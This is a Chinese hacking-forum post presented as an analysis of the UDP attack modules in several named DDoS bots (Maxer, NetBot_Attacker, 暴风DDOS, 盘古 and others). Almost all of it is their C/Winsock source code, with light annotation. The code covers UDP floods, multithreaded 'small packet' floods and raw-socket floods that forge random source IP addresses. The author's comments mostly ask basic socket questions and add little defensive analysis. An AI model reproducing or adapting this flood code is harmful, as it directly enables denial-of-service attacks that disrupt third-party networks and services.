HanDs
管理员

[Visual Studio文章] 攻击模块分析-UDP篇 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
文章作者:alalmn—飞龙
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
分析者:alalmn—飞龙       BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵

UDP攻击主要分为2种
1.发送垃圾数据攻击
2.自己构造虚假IP进行攻击

UDP攻击并没有象TCP一样使用并发连接攻击
应为UDP是无连接数限制的
TCP是有连接数限制的

有个很多错的要提下随机生成垃圾数据这点很不错在看TCP的时候就发现这点了

------有奖知识问答------
//////////
Maxer.h
//判断是否支持RAW    RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的!!!!!知道到底什什么的可以告诉俺一下
//RAW UDP攻击
我看这个的判断条件是判断操作系统版本 这个和操作系统版本有关系吗
版本的区别,WSA开头的函数是2.0的,其他的是1.1的,  
2.0的用winsock2.h  
1.0的用winsock.h  
是选1   否选2     不祥选3   知道正确答案直接回答
//////////
知道答案的请发我QQ邮箱[email protected]

//=================================================

冷风的.h

/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam)    //UDP发送垃圾信息攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSent;
int nSize = strlen(icmpBuffer); //发送的内容

m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //创建socket   IPPROTO_UDP是创建UDP
                  //地址族   socket类型 协议类型
memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(DdosPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //将网络地址转换成IP地址

while(!StopDDosAttack) //是否在攻击状态
{
   nSent =sendto(m_hSocket, icmpBuffer, nSize, 0,        (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
            //套接口    数据缓冲区 数据长度 调用标志位 目的套接口的地址     所指地址的长度
   if(nSent == SOCKET_ERROR) //是否发送成功
    break;
   Sleep(100); //暂停(毫秒)
}

return 1;
}

//=============================================

Maxer.h

//标准UDP攻击
DWORD WINAPI UdpFlood(LPVOID dParam)
{
PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存

char senddata[1024];
memset(senddata,'A',1024);//内存空间初始化
int sendsize=strlen(senddata);//计算发送的内容

WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构

udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
    udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
    udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //奇怪这个创建socket   他没有选择UDP协议这算什么UDP攻击啊

//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

while(1) //死循环
{
   if(IsStop==1) //是否在攻击状态
   {
    ExitThread(0);
    return 0;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
   Sleep(20); //暂停(毫秒)
}

}//-----------------------------------------------------------------------
typedef struct _iphdr     //ip头
{
unsigned char h_verlen;    //4位首部长度+4位IP版本号
unsigned char tos;     //8位服务类型TOS
unsigned short total_len;   //16位总长度(字节)
unsigned short ident;    //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl;     //8位生存时间TTL
unsigned char proto;    //8位协议号(TCP, UDP 或其他)
unsigned short checksum;   //16位IP首部校验和
unsigned int sourceIP;    //32位源IP地址
unsigned int destIP;    //32位目的IP地址
}IP_HEADER;
typedef struct udp_hdr //UDP首部
{
unsigned short sourceport; //本机或伪造的端口
unsigned short destport; //攻击的IP端口
unsigned short udp_length; //UDP地址长度
unsigned short udp_checksum; //UDP首部校验和
} UDP_HEADER;
//判断是否支持RAW    RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的!!!!!知道到底什什么的可以告诉俺一下
//RAW UDP攻击
//版本的区别,WSA开头的函数是2.0的,其他的是1.1的,  
//2.0的用winsock2.h  
//1.0的用winsock.h  
DWORD WINAPI RawUdpFlood(LPVOID dParam)
{
srand((unsigned)time( NULL ));

PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo;   //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存

IP_HEADER ipHeader;
UDP_HEADER udpHeader;
int nBufferSize=1024;
char pSendBuffer[1024]={0};
memset(pSendBuffer,'A',1024);//内存空间初始化
WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构
SOCKET sendSocket;//套接字
udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)

if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) //创建一个与指定传送服务提供者捆绑的套接口
{ //地址族描述目前仅支持PF_INET格式    新套接口的类型描述 协议   指向结构的指针    套接口组的描述字   套接口属性描述      //INVALID_SOCKET发生错误
   printf("Socket Setup Error...\n"); //Socket安装程序错误
   return 0;
}
BOOL               flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时
{ //套接口的描述字   选项定义的层次 需设置的选项 存放选项值的缓冲区 缓冲区的长度      //SOCKET_ERROR创建错误
   printf("Setsockopt IP_HDRINCL Error...\n");   //Setsockopt IP_HDRINCL错误
   return 0;
}

int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
   printf("Setsockopt SO_SNDTIMEO Error...\n"); //Setsockopt SO_SNDTIMEO错误
   return 0;
}

char         src_ip[20] = {0};

while(1) //死循环
{
   if(IsStop==1) //是否在攻击状态
   {
    ExitThread(0);
    return 0;
   }
   for(int a=0;a<24;a++)
   {
    int iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;
    wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );   //格式化数据
    //填充IP首部
    ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(iTotalSize);
    ipHeader.ident=0;
    ipHeader.frag_and_flags=0;
    ipHeader.ttl=128;
    ipHeader.proto=IPPROTO_UDP;
    ipHeader.checksum=0;
    ipHeader.sourceIP=inet_addr(src_ip);//32位源地址 随机IP
    ipHeader.destIP=resolve(ddosinfo.addr); //伪IP
    //填充UDP首部
    udpHeader.sourceport = htons( rand()%60000 + 1 );
    udpHeader.destport = htons(ddosinfo.port);
    udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);
    udpHeader.udp_checksum = 0;

    memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));//复制数据
    memcpy(pSendBuffer+sizeof(ipHeader), &udpHeader, sizeof(udpHeader));//复制数据
    udpHeader.udp_checksum = checksum( (USHORT *) pSendBuffer, sizeof(udpHeader)+sizeof(ipHeader));
    sendto(sendSocket, pSendBuffer, sizeof(ipHeader) + sizeof(udpHeader) + sizeof(pSendBuffer), 0, (struct sockaddr*)&udpaddr, sizeof(udpaddr)); //向一指定目的地发送数据
    //套接口的描述字   待发送数据的缓冲区   缓冲区中数据的长度   调用方式标志位   指向目的套接口的地址   所指地址的长度
   }
   Sleep(40);
}

}

//===================================================

NetBot_Attacker.h

/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam)//udp flood UDP发送垃圾数据
{
WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字
int nSent;
int nSize = strlen(icmpBuffer);//计算发送的内容

m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);//创建socket
memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址

while(!stopfuck)
{
   nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
   if(nSent == SOCKET_ERROR) //是否发送成功
    break;
   Sleep(40); //延时
}

return 1;
}

unsigned long CALLBACK Pjam_attack(LPVOID dParam)//udp 小包裹
{
WSADATA wsadata;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,0), &wsadata);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字

memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址

m_hSocket= socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);//创建socket
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); // connect in udp? //连接

while(!stopfuck)
{
   send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0); //发送消息
   Sleep(40); //延时
}
return 1;
}

//===================================

暴风DDOS.h

#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;

/*===========================================常量=============================================*/
typedef struct _iphdr
{
unsigned char   h_verlen;
unsigned char   tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char   ttl;
unsigned char   proto;
unsigned short checksum;
unsigned int    sourceIP;
unsigned int    destIP;
}IP_HEADER, * PIP_HEADER;

typedef struct udp_hdr //UDP首部
{
unsigned short sourceport;
unsigned short destport;
unsigned short udp_length;
unsigned short udp_checksum;
} UDP_HEADER;

void udp_flood()
{
Sleep(2000);    //暂停(毫秒)
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本

SOCKET    SendSocket;
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )   //INVALID_SOCKET发生错误
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项
{
   printf("setsockopt Error!\n"); //setsockopt错误!
   return;
}

SOCKADDR_IN addr_in;    //IP信息结构
addr_in.sin_family=AF_INET;    //sin_family 地址家族(必须是AF_INET)
addr_in.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{   //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(tgtIP)) != NULL)
   {//gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
   addr_in.sin_family = hp->h_addrtype;
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
   //pSendBuffer 把数据结构体都保存进去了 这样才能实现伪IP攻击
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
return;
}

void fill_udp_buffer()
{
WSADATA wsaData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2, 2), &wsaData); //确定SOCKET版本
unsigned int saddr=0;
char hostname[MAX_PATH];
gethostname(hostname,MAX_PATH); //得到主机名
LPHOSTENT lphost; //主机结构信息
lphost = gethostbyname(hostname);//主机名的主机信息
if (lphost != NULL)
   saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;

char pBuffer[nBufferSize];

IP_HEADER ipHeader;
UDP_HEADER udpHeader;

int iUdpCheckSumSize;
char *ptr=NULL;
FillMemory(pBuffer, nBufferSize, 'A'); //填充内容做攻击数据使用

iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;

ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(tgtIP); //伪IP
//UDP首部
udpHeader.sourceport = htons(5444);//本机或伪造的端口
udpHeader.destport = htons(tgtPort);//攻击的IP端口
udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);//UDP地址长度
udpHeader.udp_checksum = 0;

ptr = NULL;
ipHeader.sourceIP = saddr; //自己模拟的IP

ZeroMemory(pSendBuffer, nBufferSize + 60); //填充内容做攻击数据使用
ptr = pSendBuffer;
iUdpCheckSumSize=0;
udpHeader.udp_checksum = 0;

memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));
ptr += sizeof(ipHeader.sourceIP);
iUdpCheckSumSize += sizeof(ipHeader.sourceIP);

memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));    //伪IP
ptr += sizeof(ipHeader.destIP);    //伪IP
iUdpCheckSumSize += sizeof(ipHeader.destIP);   //伪IP //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗

ptr++;
iUdpCheckSumSize++;

memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));
ptr += sizeof(ipHeader.proto);
iUdpCheckSumSize += sizeof(ipHeader.proto);

memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));
ptr += sizeof(udpHeader.udp_length);
iUdpCheckSumSize += sizeof(udpHeader.udp_length);

memcpy(ptr, &udpHeader, sizeof(udpHeader));
ptr += sizeof(udpHeader);
iUdpCheckSumSize += sizeof(udpHeader); //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗

memcpy(ptr, pBuffer, nBufferSize);
iUdpCheckSumSize += nBufferSize;  

udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));
memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));
memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);    //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗
}
/*--------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int time,int xc)
{

   if (inet_addr(ip)== INADDR_NONE)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
    {
     in_addr in; //IP地址转换位一个in_addr结构的地址
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in)); //复制数据
    }
   }
   else
    strcpy(tgtIP,ip); //复制数据


   port=tgtPort;   //端口
   time=timeout;   //时间

   if (StopFlag == -1) //这点应该查看是否在攻击状态
    return;

   StopFlag=-1;

   fill_udp_buffer();    //获取攻击数据

   for(i=0;i<xc;i++) //循环创建线程
   {
    h=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udp_flood, NULL, 0, NULL); //具体攻击
   }
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}

//======================================================

暴风DDOSVIP2010-225.h

//伪造源UDP(流量) 跟 非IP数据包(流量) 一样
/*----------------------------------------------------------------------------------------*///UDP(流量)
void udpattack()//UDP(流量)
{
char senddata[1024];
memset(senddata,'A',1024);   //内存空间初始化 初始化攻击数据
int sendsize=strlen(senddata);//计算字符长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
    udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
    udpaddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗!!!!!!!

//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项


for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}

void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量)
{
   if (inet_addr(ip)== INADDR_NONE)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址   != NULL不等于空
    {
     in_addr in;
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in)); //拷贝
    }
   }
   else
    strcpy(tgtIP,ip); //复制数据


   tgtPort=port; //端口
   timeout=mytime; //时间
   StopFlag = -1;     //进入攻击状态
   for(z=0;z<xc;z++)
   {
    h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpattack, NULL, 0, NULL);   //具体攻击
   }
   if(timeout!=0)
   {
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
   }
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void udpsattack() //UDP碎片(流量)
{
char senddata[5]="bfyl";

int sendsize=strlen(senddata);//计算字符长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗!!!

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<5;i++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}


void StartUDPS(char ip[30],int port,int mytime,int xc) //UDP碎片(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址   != NULL不等于空
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip);


tgtPort=port;    //端口
timeout=mytime; //时间
StopFlag = -1;

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpsattack, NULL, 0, NULL);//具体攻击
}
if(timeout != 0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);//结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//变异和伪造的UDP发包
void rawudpattack() //非IP数据包(流量)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本

SOCKET    SendSocket;   //套接字
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )    //INVALID_SOCKET发生错误
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项    //setsockopt错误
{
   printf("setsockopt Error!\n");
   return;
}

SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
addr_in.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{  
   struct hostent *hp = NULL;
   if ((hp = gethostbyname(tgtIP)) != NULL)
   {//gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
    memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
    addr_in.sin_family = hp->h_addrtype;
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<12;i++)
    sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
return;
}

void StartBYUDP(char ip[30],int port,int mytime,int xc) //非IP数据包(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip); //拷贝


tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1;
fill_BY_buffer();    //获取攻击数据和 暴风DDOS.h 文件是一样的

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)rawudpattack, NULL, 0, NULL);   //具体攻击
}
if(mytime!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}

/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void sjudpattack() //随机数据UDP(流量)
{
int i;

srand((unsigned)time( NULL ));


i=rand()%512;   //产生个随机数

char senddata[MAX_PATH];

memset(senddata,i,MAX_PATH); //内存空间初始化
int sendsize=1024;

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET;   //指代协议族,在socket编程中只能是AF_INET
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);   //IP地址
udpaddr.sin_port=htons(tgtPort);   //存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero));    //设置套接口的选项

for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}


void StartSJUDP(char ip[30],int port,int mytime,int xc) //随机数据UDP(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息 IP IP地址   != NULL不等于空
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip); //拷贝


tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1;

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sjudpattack, NULL, 0, NULL);   //具体攻击
}
if(timeout!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/

//==================================================

盘古1.5代码.h

///////UDP攻击
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;

void udp_flood() //UDP攻击
{
Sleep(2000);
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2), &WSAData);

SOCKET    SendSocket;
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)    //设置套接口的选项
{
   printf("setsockopt Error!\n");
   return;
}

SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET;
       //sin_family 地址家族(必须是AF_INET)
addr_in.sin_port=htons(tgtPort);
addr_in.sin_addr.s_addr=inet_addr(tgtIP);
                       //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
                           //IP地址不正确返回INADDR_NONE
{  
   struct hostent *hp = NULL; //hostent域名转换成IP
   if ((hp = gethostbyname(tgtIP)) != NULL)
       //gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   {
   memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);
                                         //hp->h_length表示的是主机ip地址的长度
   addr_in.sin_family = hp->h_addrtype;
                      //hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //StopFlag= 1; 表示没有在攻击
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<10000;i++)
    sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭SOCKET
return;
}

//=======================================================

盘古DDOS优化版源码.h

///UDP
void udpflood()
{
WSAData wsadata;
WSAStartup(MAKEWORD(2,2),&wsadata);

char senddata[128];
memset(senddata,'D',sizeof(senddata)); //初始化攻击内容
int sendsize=strlen(senddata); //计算攻击内容

SOCKADDR_IN udpaddr;

udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
    udpaddr.sin_addr.s_addr=inet_addr(tgtip);//inet_addr将ip地址转换成网络地址
    udpaddr.sin_port=htons(tgtport); //端口

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //这样做创建的就不是UDP协议了啊

for (;;)
{
   if(Stop==1)
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<10000;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
   Sleep(20);
}
closesocket(s); //关闭SOCKET
WSACleanup(); //中止Windows Sockets DLL的使用
}


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
攻击 模块 分析 - UD P
#1楼
